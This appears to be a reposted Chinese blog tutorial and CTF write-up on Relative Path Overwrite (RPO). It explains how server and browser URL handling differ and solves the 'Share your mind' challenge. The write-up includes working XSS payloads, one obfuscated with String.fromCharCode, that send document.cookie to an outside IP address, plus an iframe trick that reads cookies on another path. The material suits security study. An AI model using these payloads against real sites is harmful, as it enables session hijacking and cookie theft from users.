前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >RPO分析+Share your mind分析

RPO分析+Share your mind分析

作者头像
安恒网络空间安全讲武堂
发布2018-06-22 17:49:26
5210
发布2018-06-22 17:49:26
举报

什么是RPO

RPO(Relative Path Overwrite)相对路径覆盖,主要就是利用服务端和客户端对url的处理的一些差异,来让客户端加载我们想让客户端加载的文件。而不是网站开发者想加载的文件。

利用的基础知识

源码

文件结构

rpo/

----yang/

--------index.php

--------a.js

----a.js

rpo/yang/index.php

hahahah

<script src="./a.js"></script>

rpo/yang/a.js

alert("i'm is yang/a.js");

rpo/a.js

alert("i'm is rpo/a.js");

服务端处理url中%2f和/的差异

apache

url及返回结果

http://127.0.0.1/rpo/yang/index.php #页面返回正常

http://127.0.0.1/rpo/yang%2findex.php #页面返回异常,显示Not Found

Nginx

url及返回结果

http://127.0.0.1/rpo/yang/index.php #页面返回正常

http://127.0.0.1/rpo/yang%2findex.php #页面返回正常

从测试结果可以知道,Apache和Nginx对于%2f的处理并不相同。

Apache不会将'%2f'作为'/'处理,所以执行的结果就是去rpo目录下寻找名为yang%2findex.php的文件,显然服务器并没有yang%2findex.php该文件,所以显示not found。

Nginx则不同,Nginx会将'%2f'作为'/'去处理,所以执行的结果显示的为正常页面。

客户端对%2f的处理

客户端为什么会有对%2f的处理呢?客户端不是运行在用户的电脑上的吗?怎么会牵扯到服务器的文件?

刚开始我也是困惑在这里。我们来看代码。

在index.php有这样的一段js代码

<script src="./a.js"></script>

这里使用的是相对路径来加载js代码。

浏览器在加载相对路径的依据是url中的最后一个'/',需要注意的是浏览器不会对%2f进行解码。也就是说浏览器不会将'%2f'当作'\'。

所以RPO实现的原理就是利用客户端和服务端对于%2f的处理方式不同。

简单复现

实验环境

- 服务端 Nginx

- 客户端 谷歌浏览器

- 源码 服务端的源码就是文章前面给出的代码

url为

http://127.0.0.1/rpo/yang/index.php

url为

http://127.0.0.1/rpo/yang%2findex.php

由图可知使用%2f和/加载的js文件并不相同。

Share your mind

在主页查看源码可以看到以下代码

我们可以看到这里使用了相对路径的引用,所以可能会存在RPO漏洞。

在网站的overview处可以查看在写过的内容。点开查看文章,查看文章页面的源代码,发现会自动给标题添加一个\<h1\>标签,文章内容没有做过任何处理。于是就可以在文章里写入js代码,在通过RPO来使浏览器执行我们写入的js代码。

查看文章的url

http://39.107.33.96:20000/index.php/view/article/2957

实现rpo的url

http://39.107.33.96:20000/index.php/view/article/2957/..%2f..%2f..%2f..%2findex.php

在理解怎么用RPO加载写入的文章的时候卡了比较久,因为后台代码是

<script src="../static/js/jquery.min.js"></script>

所以利用RPO加载的时候加载的不应该是2957/static/js/jquery.min.js的js文件内容吗?

这个js文件难道是用来存放我们写入的文章内容???

这个js文件难道是为了出题才这样设置的???

这听起来很作啊,出题师傅不会这样的吧。

这个确实不是这样的,这里使用的是pathinfo模式。

什么是pathinfo模式?

在网站得url中有这样一种url,文件后面还跟有'/'。这种/后面的内容pathinfo模式下会被当做参数。类似于

index.php?a=***。这是一种传参模式。

例如:

http://39.107.33.96:20000/index.php/view/article/2957

所以static/js/jquery.min.js在url中会被当做参数。

测试可知下面两个url的返回结果是一样的。

http://39.107.33.96:20000/index.php/view/article/2957/static/js/jquery.min.js

http://39.107.33.96:20000/index.php/view/article/2957

在知道了这个知识点之后,我们再来分析payload就明白到底是怎么加载我们写的文章内容的了。

请求的url

http://39.107.33.96:20000/index.php/view/article/2957/..%2f..%2f..%2f..%2findex.php

客户端代码

<script src="../static/js/jquery.min.js"></script>

请求加载的url

http://39.107.33.96:20000/index.php/view/article/2957/static/js/jquery.min.js

至此,整个RPO利用的流程就清晰了。

- 写文章时写入js代码

- 将RPO的url通过report提交到后台。

- 等待回显。

因为对引号过滤,所以使用String.fromCharCode(解ascii码)来绕过过滤。

打cookie的js代码

new Image().src="http://150.95.174.245:8888?a="+encodeURI(document.cookie);

最终写入文章内容

eval(String.fromCharCode(110,101,119,32,73,109,97,103,101,40,41,46,115,114,99,61,34,104,116,116,112,58,47,47,49,53,48,46,57,53,46,49,55,52,46,50,52,53,58,56,56,56,56,63,97,61,34,43,101,110,99,111,100,101,85,82,73,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59));

收到回显

HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"

找了一个可以读取目录下的cookie的js代码。

var ad = document.createElement("iframe");

ad.src = "QWB_fl4g/QWB/";

ad.id = "frame";

document.body.appendChild(ad);

ad.onload = function (){window.location.href="http://150.95.174.245:8888?a="+document.getElementById("frame").contentWindow.document.cookie;

}

提交后收到回显

结束!

RPO参考链接

http://blog.nsfocus.net/rpo-attack/

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-06-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档